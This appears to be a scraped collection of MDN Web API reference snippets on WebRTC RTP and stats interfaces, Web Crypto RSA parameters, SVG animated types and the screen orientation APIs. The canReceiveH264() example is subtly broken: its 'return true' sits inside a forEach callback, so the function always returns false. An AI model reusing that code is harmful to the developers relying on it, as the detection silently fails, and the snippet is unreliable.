The information provided is based on the last ten seconds of media received. Properties audioLevel Optional A double-precision floating-point value between 0 and 1 specifying the audio level contained in the last RTP packet played from this source. rtpTimestamp Optional The RTP timestamp of the media played out at the time indicated by timestamp. This value is a source-generated time value which can be used to help with sequencing and synchronization. ...
...used to help with sequencing and synchronization. source Optional A 32-bit unsigned integer value specifying the CSRC identifier of the contributing source. timestamp Optional A DOMHighResTimeStamp indicating the most recent time at which a frame originating from this source was delivered to the receiver's MediaStreamTrack Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpContributingSource' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpEncodingParameters - Web APIs
It's used in the RTCRtpSendParameters describing the configuration of an RTP sender's encodings; RTCRtpDecodingParameters is used to describe the configuration of an RTP receiver's encodings. Properties active If true, the described encoding is currently actively being used. That is, for RTP senders, the encoding is currently being used to send data, while for receivers, the encoding is being used to decode received data. The default value is true. ...
...the video during encoding. The default value, 1.0, means that the sent video's size will be the same as the original. A value of 2.0 scales the video frames down by a factor of 2 in each dimension, resulting in a video 1/4 the size of the original. The value must not be less than 1.0 (you can't use this to scale the video up). Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpEncodingParameters' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpReceiver.getCapabilities() static function - Web APIs
media capabilities can in whole or in part provide a cross-origin method for identifying a user. For that reason, in privacy-sensitive contexts, the browser may choose to obscure the capabilities; this might be done, for example, by leaving out rarely-used codec configurations. Example The function below returns a Boolean indicating whether or not the device supports receiving H.264 video on a
WebRTC connection. Since RTCRtpReceiver.getCapabilities() actually only indicates probable support, attempting to receive H.264 video might still fail even after getting a positive response from this function. function canReceiveH264() { let capabilities = RTCRtpReceiver.getCapabilities("video"); capabilities.codecs.forEach((codec) => { if (codec.mimeType === "video/H264") { return...
...g to receive H.264 video might still fail even after getting a positive response from this function. function canReceiveH264() { let capabilities = RTCRtpReceiver.getCapabilities("video"); capabilities.codecs.forEach((codec) => { if (codec.mimeType === "video/H264") { return true; } }); return false; } Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpReceiver.getCapabilities()' in that specification. Candidate Recommendation ...
RTCRtpReceiver - Web APIs
Properties RTCRtpReceiver.track Read only Returns the MediaStreamTrack associated with the current RTCRtpReceiver instance. RTCRtpReceiver.transport Read only Returns the RTCDtlsTransport instance over which the media for the receiver's track is received. Obsolete properties rtcpTransport This property has been removed; the RTP and RTCP transports have been combined into a single transport. Use the transport property instead. ...
...luding one RTCRtpSynchronizationSource instance for each unique SSRC (synchronization source) identifier received by the current RTCRtpReceiver in the last ten seconds. Static methods RTCRtpReceiver.getCapabilities() Returns the most optimistic view of the capabilities of the system for receiving media of the given kind. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpReceiver' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats.qpSum - Web APIs
Candidate Recommendation Initial definition. ...
...utbound-rtp": frameCount = stats.framesEncoded; break; default: return 0; } return status.qpSum / frameCount; } Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCInboundRtpStreamStats: qpSum' in that specification. Candidate Recommendation Initial definition. Identifiers for
WebRTC's Statistics APIThe definition of 'RTCOutboundRtpStreamStats: qpSum' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpStreamStats - Web APIs
While the dictionary has a base set of properties that are present in each of these cases, there are also additional properties added depending on which interface the method is called on. RTCRtpStreamStats is the base class for all RTP-related statistics reports. It's based on RTCStats and adds the following additional fields. ...
...s sent by the receiver to the sender using a Slice Loss Indication (SLI) packet. This is a fairly technical part of how codecs work and while the higher this value is, the more errors occurred in the stream, generally most of the time this value is only interesting to very intensively hardcore media developers. Specifications Specification Status Comment Identifiers for
WebRTC's Statistics APIThe definition of 'RTCRtpStreamStats' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpSynchronizationSource - Web APIs
A synchronization source is a single source that shares timing and sequence number space. Since RTCRtpSynchronizationSource implements RTCRtpContributingSource, its properties are also available. The information provided is based on the last ten seconds of media received. While the published specification describes this as an interface, it has since been changed to a dictionary in follow-up drafts. Properties Also implements the properties of RTCRtpContributingSource. ...
...s. Properties Also implements the properties of RTCRtpContributingSource. voiceActivityFlag Optional A Boolean value indicating whether or not voice activity is included in the last RTP packet played from the source. If the peer has indicated that it's not supporting voice activity detection, this field is not provided. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpSynchronizationSource' in that specification. Candidate Recommendation Initial definition. ...
RTCRtpTransceiver.setCodecPreferences() - Web APIs
d set of codecs and configurations will be used for all future connections including this transceiver until this method is called again. When preparing to open an RTCPeerConnection, you can change the codec parameters from the user agent's default configuration by calling setCodecParameters() before calling either RTCPeerConnection.createOffer() or createAnswer(). A guide to codecs supported by
WebRTC--and each codec's positive and negative characteristics--can be found in Codecs used by
WebRTC. Syntax rtcRtpTransceiver.setCodecPreferences(codecs) Parameters codecs An array of RTCRtpCodecCapability objects, in order of preference, each providing the parameters for one of the transceiver's supported codecs. If codecs is empty, the codec configurations are all returned to the user ag...
...ecs list from the results of each. The following code snippet demonstrates how to get both the list of codecs supported by the transceiver's RTCRtpSender and RTCRtpReceiver. var availSendCodecs = transceiver.sender.getCapabilities("video").codecs; var availReceiveCodecs = transceiver.receiver.getCapabilities("video").codecs; Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpTransceiver.setCodecPreferences()' in that specification. Candidate Recommendation ...
RTCRtpTransceiver - Web APIs
Each SDP media section describes one bidirectional SRTP ("Secure Real Time Protocol") stream (excepting the media section for RTCDataChannel, if present). This pairing of send and receive SRTP streams is significant for some applications, so RTCRtpTransceiver is used to represent this pairing, along with other important state from the media section. Each non-disabled SRTP media section is always represented by exactly one transceiver. A transceiver is uniquely identified using its mid property, which is the same as the media ID (mid) of its corresponding m-line. ...
... Candidate Recommendation ...
RTCRtpTransceiverInit - Web APIs
The RTCRtpTransceiverInit dictionary is used when calling the
WebRTC function RTCPeerConnection.addTransceiver() to provide configuration options for the new transceiver. Properties direction Optional The new transceiver's preferred directionality. This value is used to initialize the new RTCRtpTransceiver object's RTCRtpTransceiver.direction property. sendEncodings Optional A list of encodings to allow when sending RTP media from the RTCRtpSender. Each entry is of type RTCRtpEncodingParameters. streams Optional A list of MediaStream objects to add to the transceiver'sRTCRtpReceiver; when the remote peer's RTCPeerConnection's track event occurs, these are the streams that will be specified by that event. ...
...ncodings to allow when sending RTP media from the RTCRtpSender. Each entry is of type RTCRtpEncodingParameters. streams Optional A list of MediaStream objects to add to the transceiver'sRTCRtpReceiver; when the remote peer's RTCPeerConnection's track event occurs, these are the streams that will be specified by that event. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCRtpTransceiverInit' in that specification. Candidate Recommendation ...
RTCSessionDescriptionCallback - Web APIs
The RTCSessionDescriptionCallback type is used to represent the callback function passed into the deprecated callback-based version of createOffer() or createAnswer() when using them to create offers or answers. Because this function type is part of the legacy
WebRTC API, you should avoid using it (and the callback-based forms of createOffer() and createAnswer() that make use of it). Syntax RTCSessionDescriptionCallback(description); Parameters description An RTCSessionDescriptionInit (or RTCSessionDescription) object describing the session being offered or being accepted. This object contains the type and sdp properties which are part of RTCSessionDescription. Return value The callback doesn't need to return anything, so the return value is undefined. Example var pc = new R...
...ins the type and sdp properties which are part of RTCSessionDescription. Return value The callback doesn't need to return anything, so the return value is undefined. Example var pc = new RTCPeerConnection(); var descriptionCallback = function(offer) { pc.setLocalDescription(offer); } pc.createOffer(descriptionCallback); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCSessionDescriptionCallback' in that specification. Candidate Recommendation Initial definition. ...
RTCStats.id - Web APIs
The id property of the RTCStats dictionary is a string which uniquely identifies the object for which this RTCStats object provides statistics. Using the id, you can correlate two or more RTCStats-based objects in order to monitor statistics over time for a given
WebRTC object, such as an RTP stream, an RTCPeerConnection, or an RTCDataChannel. Syntax var id = RTCStats.id; Value A DOMString which uniquely identifies the object for which this RTCStats-based object provides statistics. ...
...ing which uniquely identifies the object for which this RTCStats-based object provides statistics. The format of the ID string is not defined by the specification, so you cannot reliably make any assumptions about the contents of the string, or assume that the format of the string will remain unchanged for a given object type. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCStats.id' in that specification. Candidate Recommendation Initial definition. ...
RTCStatsReport - Web APIs
nbound, or all streams on the connection. The RTCRtpReceiver and RTCRtpSender versions of getStats() specifically only return statistics available to the incoming or outgoing stream on which you call them. The statistics objects For each category of statistic information, there is a dictionary whose properties provide the relevant information. Properties common to all statistic categories All
WebRTC statistics objects are fundamentally based on the RTCStats dictionary, which provides the most fundamental information: the timestamp, the statistic type string, and an ID uniquely identifying the source of the data: id A DOMString which uniquely identifies the object which was inspected to produce this object based on RTCStats. timestamp A DOMHighResTimeStamp object indicating the time ...
...ed to a particular MediaStreamTrack's attachment to an RTCRtpSender; also included are the media level metrics that go along with the track. transport An object that contains statistics related to a transport for an RTCPeerConnection. The object is of type RTCTransportStats. Using RTCStatsReport ... coming soon-ish ... Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCStatsReport' in that specification. Candidate Recommendation Initial specification. ...
RTCTrackEvent() - Web APIs
The RTCTrackEvent() constructor creates and returns a new RTCTrackEvent object, configured to describe the track which has been added to the RTCPeerConnection. In general, you won't need to use this constructor, as RTCTrackEvent objects are created by
WebRTC and delivered to your RTCPeerConnector's ontrack event handler as appropriate. Syntax trackEvent = new RTCTrackEvent(eventInfo); Parameters eventInfo An object based on the RTCTrackEventInit dictionary, providing information about the track which has been added to the RTCPeerConnection. This object has the following properties: receiver The RTCRtpReceiver which is being used to receive the track's media. streams Optional An array of MediaStream objects representing each of the streams that comprise the event's corresponding ...
... MediaStream objects representing each of the streams that comprise the event's corresponding track. track The MediaStreamTrack the event is associated with. transceiver The RTCRtpTransceiver associated with the event. Return value A new RTCTrackEvent describing a track which has been added to the RTCPeerConnection. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCTrackEvent()' in that specification. Candidate Recommendation Initial specification. ...
RTCTrackEvent - Web APIs
The
WebRTC API interface RTCTrackEvent represents the track event, which is sent when a new MediaStreamTrack is added to an RTCRtpReceiver which is part of the RTCPeerConnection. The target is the RTCPeerConnection object to which the track is being added. This event is sent by the
WebRTC layer to the
web site or application, so you will not typically need to instantiate an RTCTrackEvent yourself. Constructor RTCTrackEvent() Creates and returns a new RTCTrackEvent object, initialized with properties taken from the specified RTCTrackEventInit dictionary. You will probably not need to create new track events yourself, since they're typically created by the
WebRTC infrastructure and sent to the connection's ontrack event handler. Properties Since RTCTrackEvent is based on Event, its pr...
...listener for the track event which sets the srcObject of the <video> element with the ID videobox to the first stream in the list passed in the event's streams array. peerConnection.addEventListener("track", e => { let videoElement = document.getElementById("videobox"); videoElement.srcObject = e.streams[0]; }, false); Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCTrackEvent' in that specification. Candidate Recommendation Initial specification. ...
RTCTrackEventInit - Web APIs
The
WebRTC API's RTCTrackEventInit dictionary is used to provide information describing an RTCTrackEvent when instantiating a new track event using new RTCTrackEvent(). Properties RTCTrackEventInit inherits properties from the EventInit dictionary, and also includes the following properties: receiver The RTCRtpReceiver which is being used to receive the track's media. streams Optional An array of MediaStream objects representing each of the streams that comprise the event's corresponding track. track The MediaStreamTrack the event is associated with. transceiver The RTCRtpTransceiver associated with the event. ...
... The RTCRtpReceiver which is being used to receive the track's media. streams Optional An array of MediaStream objects representing each of the streams that comprise the event's corresponding track. track The MediaStreamTrack the event is associated with. transceiver The RTCRtpTransceiver associated with the event. Specifications Specification Status Comment
WebRTC 1.0: Real-time Communication Between BrowsersThe definition of 'RTCTrackEventInit' in that specification. Candidate Recommendation Initial specification. ...
RadioNodeList - Web APIs
nts a collection of radio elements in a <form> or a <fieldset> element. ...
...width="80" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="41" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">NodeList</text></a><polyline points="81,25 91,20 91,30 81,25" stroke="#D4DDE4" fill="none"/><line x1="91" y1="25" x2="121" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/RadioNodeList" target="_top"><rect x="121" y="1" width="130" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">RadioNodeList</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties The...
RenderingContext - Web APIs
By using the shorthand RenderingContext, methods and properties which can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering systems, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." As such, RenderingContext is an implementation detail, and isn't something
web developers directly use. There is no RenderingContext interface, and there are no objects which implement type RenderingContext. ...
...There is no RenderingContext interface, and there are no objects which implement type RenderingContext. The primary use of this type is the definition of the <canvas> element's HTMLCanvasElement.getContext() method, which returns a RenderingContext (meaning it returns any one of the rendering context types). Specifications Specification Status Comment ...
Resource Timing API - Web APIs
ed as zero unless the server's access policy permits these values to be shared. This requires the server providing the resource to send the Timing-Allow-Origin HTTP response header with a value specifying the origin or origins which are allowed to get the restricted timestamp values. The properties which are returned as 0 by default when loading a resource from a domain other than the one of the
web page itself: redirectStart, redirectEnd, domainLookupStart, domainLookupEnd, connectStart, connectEnd, secureConnectionStart, requestStart, and responseStart. The PerformanceResourceTiming interface also includes several network timing properties. The redirectStart and redirectEnd properties return timestamps for redirect start and end times, respectively. Likewise, the The domainLookupStart an...
...owser compatibility" section for more specific interoperability data. ...
RsaHashedImportParams - Web APIs
Properties name A DOMString. This should be set to RSASSA-PKCS1-v1_5, RSA-PSS, or RSA-OAEP, depending on the algorithm you want to use. hash A DOMString representing the name of the digest function to use. This can be one of SHA-256, SHA-384, or SHA-512. Warning: Although you can technically pass SHA-1 here, this is strongly discouraged as it is considered vulnerable. ...
...orithm you want to use. hash A DOMString representing the name of the digest function to use. This can be one of SHA-256, SHA-384, or SHA-512. Warning: Although you can technically pass SHA-1 here, this is strongly discouraged as it is considered vulnerable. Examples See the examples for SubtleCrypto.importKey(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.RsaHashedImportParams' in that specification. Recommendation ...
RsaHashedKeyGenParams - Web APIs
Properties name A DOMString. This should be set to RSASSA-PKCS1-v1_5, RSA-PSS, or RSA-OAEP, depending on the algorithm you want to use. modulusLength A Number. The length in bits of the RSA modulus. This should be at least 2048: see for example see NIST SP 800-131A Rev. 1. Some organizations are now recommending that it should be 4096. publicExponent A Uint8Array. The public exponent. ...
... hash A DOMString representing the name of the digest function to use. You can pass any of SHA-256, SHA-384, or SHA-512 here. Warning: Although you can technically pass SHA-1 as a value here, this is strongly discouraged as SHA-1 is considered vulnerable. Examples See the examples for SubtleCrypto.generateKey(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.RsaHashedKeyGenParams' in that specification. Recommendation ...
RsaOaepParams - Web APIs
Properties name A DOMString. This should be set to RSA-OAEP. label Optional A BufferSource -- an array of bytes that does not itself need to be encrypted but which should be bound to the ciphertext. A digest of the label is part of the input to the encryption operation. Unless your application calls for a label, you can just omit this argument and it will not affect the security of the encryption operation. ...
...d be bound to the ciphertext. A digest of the label is part of the input to the encryption operation. Unless your application calls for a label, you can just omit this argument and it will not affect the security of the encryption operation. Examples See the examples for SubtleCrypto.encrypt() and SubtleCrypto.decrypt(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.RsaOaepParams' in that specification. Recommendation ...
RsaPssParams - Web APIs
Properties name A DOMString. This should be set to RSA-PSS. saltLength A long integer representing the length of the random salt to use, in bytes. RFC 3447 says that "Typical salt lengths" are either 0 or the length of the output of the digest algorithm that was selected when this key was generated. For example, if you use SHA-256 as the digest algorithm, this could be 32. ...
...he digest algorithm, this could be 32. The maximum size of saltLength is given by: Math.ceil((keySizeInBits - 1)/8) - digestSizeInBytes - 2 So for a key length of 2048 bits and a digest output size of 32 bytes, the maximum size would be 222. Examples See the examples for SubtleCrypto.sign() and SubtleCrypto.verify(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.RsaPssParams' in that specification. Recommendation ...
SVGAElement.target - Web APIs
ics (SVG) 1.1 (Second Edition)The definition of 'target' in that specification. Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...tChrome Full support YesEdge Full support 12Firefox Full support YesIE Full support 9Opera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
SVGAnimatedAngle - Web APIs
ribute is not animated. Methods The SVGAnimatedAngle interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ng InternetSVGAnimatedAngleChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedBoolean - Web APIs
ame value as baseVal. Methods The SVGAnimatedBoolean interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...InternetSVGAnimatedBooleanChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedEnumeration - Web APIs
value as baseVal. Methods The SVGAnimatedEnumeration interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rnetSVGAnimatedEnumerationChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedInteger - Web APIs
e value as baseVal. Methods The SVGAnimatedInteger interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...InternetSVGAnimatedIntegerChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedLength - Web APIs
me value as baseVal. Methods The SVGAnimatedLength interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... InternetSVGAnimatedLengthChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedLengthList - Web APIs
e is not animated. Methods The SVGAnimatedLengthList interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ernetSVGAnimatedLengthListChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedNumber - Web APIs
same value as baseVal. Methods The SVGAnimatedNumber interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... InternetSVGAnimatedNumberChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedNumberList - Web APIs
ribute is not animated. Methods The SVGAnimatedNumberList interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ernetSVGAnimatedNumberListChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedPathData - Web APIs
This interface does not provide any specific methods, but implements those of its parent, SVGPathElement. ...
... ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ...
SVGAnimatedPoints - Web APIs
same value as points. Methods The SVGAnimatedPoints interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...nternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetSVGAnimatedPointsChrome ? Edge Full support <=18Firefox ? IE ? Opera ? Safari ?
WebView Android No support NoChrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Full support ...
SVGAnimatedPreserveAspectRatio - Web APIs
not animated. Methods The SVGAnimatedPreserveAspectRatio interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...nimatedPreserveAspectRatioChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedRect - Web APIs
tribute is not animated. Methods The SVGAnimatedRect interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ng InternetSVGAnimatedRectChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGAnimatedString.animVal - Web APIs
on) Recommendation Scalable Vector Graphics (SVG) 2 Candidate Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...alChrome Full support YesEdge Full support 12Firefox Full support YesIE No support NoOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android No support NoFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
SVGAnimatedString.baseVal - Web APIs
tion) Recommendation Scalable Vector Graphics (SVG) 2 Candidate Recommendation Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...alChrome Full support YesEdge Full support 12Firefox Full support YesIE No support NoOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android No support NoFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
SVGAnimatedTransformList - Web APIs
not animated. Methods The SVGAnimatedTransformList interface doesn't provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rnetSVGAnimatedTransformListChrome Full support YesEdge Full support <=18Firefox Full support 9IE ? ...
SVGDocument - Web APIs
Methods The SVGDocument interface does not provide any specific methods. ...
... ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ...
SVGFitToViewBox - Web APIs
Methods The SVGFitToViewBox interface does not provide any specific methods. ...
... ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ...
SVGImageElement.decoding - Web APIs
StandardThe definition of 'decoding' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...id
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetdecoding ExperimentalChrome Full support 65Edge Full support <=79Firefox ? IE ? Opera ? Safari ?
WebView Android Full support 65Chrome Android Full support 65Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support 9.0Legend ...
SVGLength - Web APIs
InSpecifiedUnits would be changed to the numeric value 5 and valueAsString would be changed to "5mm". Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...SSamsung InternetSVGLengthChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGLengthList - Web APIs
ed when the list corresponds to a read only attribute or when the object itself is read only. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...sung InternetSVGLengthListChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGMarkerElement - Web APIs
ON_ALLOWED_ERR is raised when the object itself is read only. ...
... ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ...
SVGNumberList - Web APIs
d when the list corresponds to a read only attribute or when the object itself is read only. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...sung InternetSVGNumberListChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGPathSeg - Web APIs
Methods The SVGPathSeg interface does not provide any specific methods. ...
... ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ...
SVGPathSegList - Web APIs
ATION_ALLOWED_ERR is raised when the list cannot be modified. ...
... ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ...
SVGPointList - Web APIs
ds to a read only attribute or when the object itself is read only. ...
... ? Firefox ? IE ? Opera ? Safari ?
WebView Android ? Chrome Android ? Firefox Android ? Opera Android ? Safari iOS ...
SVGPreserveAspectRatio - Web APIs
on a read only object. Methods The SVGPreserveAspectRatio interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rnetSVGPreserveAspectRatioChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGStylable - Web APIs
changes to the objects represent immediate changes to the objects to which the CSSValue is attached. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...refoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetSVGStylableChrome ? Edge Full support <=18Firefox ? IE ? Opera ? Safari ?
WebView Android No support NoChrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Full support ...
SVGTransform - Web APIs
ised when attempting to modify a read only attribute or when the object itself is read only. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...msung InternetSVGTransformChrome Full support YesEdge Full support <=18Firefox Full support YesIE ? ...
SVGTransformable - Web APIs
m on the given element. Methods The SVGTransformable interface do not provide any specific methods. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...Internet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetSVGTransformableChrome ? Edge Full support <=18Firefox ? IE ? Opera ? Safari ?
WebView Android No support NoChrome Android ? Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android ? Legend Full support ...
Screen.availHeight - Web APIs
Since Screen is exposed on the Window interface's window.screen property, you access availHeight using window.screen.availHeight. You can similarly use Screen.availWidth to get the number of pixels which are horizontally available to the browser for its use. Syntax let availHeight = window.screen.availHeight; Value A numeric value indicating the number of CSS pixels tall the screen's available space is. ...
...ow.screen.height, and will be less if the device or user agent reserves any vertical space for itself. For instance, on a Mac whose Dock is located at the bottom of screen (which is the default), the value of availHeight is approximately the value of height (the total height of the screen in CSS pixels) minus the heights of the Dock and menu bar, as seen in the diagram below. Example If your
web application needs to open a new window, such as a tool palette which can contain multiple panels, and wants to position it so that it occupies the entire vertical space available, you can do so using code similar to what's seen here. In the main window, when it's time to open the panels, code like the following is used. let paletteWindow = window.open("panels.html", "Panels", "left=0, top=0, wi...
Screen.unlockOrientation() - Web APIs
Syntax var unlocked = window.screen.unlockOrientation(); Return value Returns true if the orientation was successfully unlocked or false if the orientation couldn't be unlocked. ...
... Syntax var unlocked = window.screen.unlockOrientation(); Return value Returns true if the orientation was successfully unlocked or false if the orientation couldn't be unlocked. ...
ScreenOrientation.angle - Web APIs
entation APIThe definition of 'angle' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...netangleChrome Full support 38Edge Full support 79Firefox Full support 43IE No support NoOpera Full support 25Safari No support No
WebView Android Full support 38Chrome Android Full support 38Firefox Android Full support 43Opera Android Full support 25Safari iOS No support NoSamsung Internet Android ...
ScreenOrientation.lock() - Web APIs
ntation APIThe definition of 'lock()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rnetlockChrome Full support 38Edge Full support 79Firefox Full support 43IE No support NoOpera Full support 25Safari No support No
WebView Android Full support 38Chrome Android Full support 38Firefox Android Full support 43Opera Android Full support 25Safari iOS No support NoSamsung Internet Android ...
ScreenOrientation.onchange - Web APIs
ation APIThe definition of 'onchange' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...onchangeChrome Full support 38Edge Full support 79Firefox Full support 43IE No support NoOpera Full support 25Safari No support No
WebView Android Full support 38Chrome Android Full support 38Firefox Android Full support 43Opera Android Full support 25Safari iOS No support NoSamsung Internet Android ...
ScreenOrientation.type - Web APIs
